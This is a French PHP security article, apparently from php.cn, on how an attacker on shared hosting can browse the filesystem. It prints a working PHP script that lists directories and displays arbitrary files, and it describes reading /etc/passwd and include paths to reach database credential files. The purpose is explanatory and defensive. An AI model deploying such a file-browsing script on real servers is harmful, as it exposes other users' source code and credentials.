Maison > Article > développement back-end > Sécurité PHP - Navigation dans le système de fichiers
En plus de pouvoir lire des fichiers arbitraires sur le serveur partagé, l'attaquant peut également créer un script capable de parcourir le système de fichiers. Étant donné que la plupart de vos fichiers sensibles ne seront pas stockés dans le répertoire personnel de votre site Web, ce type de script est généralement utilisé pour trouver l'emplacement de vos fichiers sources. Veuillez consulter l'exemple suivant :
<pre class="brush:php;toolbar:false"> <?php if (isset($_GET['dir'])) { ls($_GET['dir']); } elseif (isset($_GET['file'])) { cat($_GET['file']); } else { ls('/'); } function cat($file) { echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8')); } function ls($dir) { $handle = dir($dir); while ($filename = $handle->read()) { $size = filesize("$dir$filename"); if (is_dir("$dir$filename")) { $type = 'dir'; $filename .= '/'; } else { $type = 'file'; } if (is_readable("$dir$filename")) { $line = str_pad($size, 15); $line .= "<a href=\"{$_SERVER['PHP_SELF']}"; $line .= "?$type=$dir$filename\">$filename</a>"; } else { $line = str_pad($size, 15); $line .= $filename; } echo "$line\n"; } $handle->close(); } ?>
Un attaquant peut d'abord consulter le fichier /etc/passwd ou le répertoire /home pour obtenir une liste de noms d'utilisateur sur le serveur ; l'emplacement des fichiers sources stockés en dehors du répertoire personnel du site Web peut être découvert grâce à des structures de langage telles que include ou require. Par exemple, considérons le fichier de script suivant /home/victim/public_html/admin.php :
<?php include '../inc/db.inc'; /* ... */ ?>
Si un attaquant parvient à afficher le code source du fichier, il peut découvrir l'emplacement de db.inc et utiliser la fonction readfile() pour exposer son contenu et accéder à la base de données. Ainsi, enregistrer db.inc en dehors du répertoire personnel du site Web ne le protège pas dans cet environnement.
Cette attaque illustre pourquoi tous les fichiers sources d'un serveur partagé doivent être considérés comme publics et la base de données choisie pour stocker toutes les données sensibles.
Ce qui précède est le contenu de la navigation dans le système de fichiers de sécurité PHP. Pour plus de contenu connexe, veuillez prêter attention au site Web PHP chinois (www. php.cn) !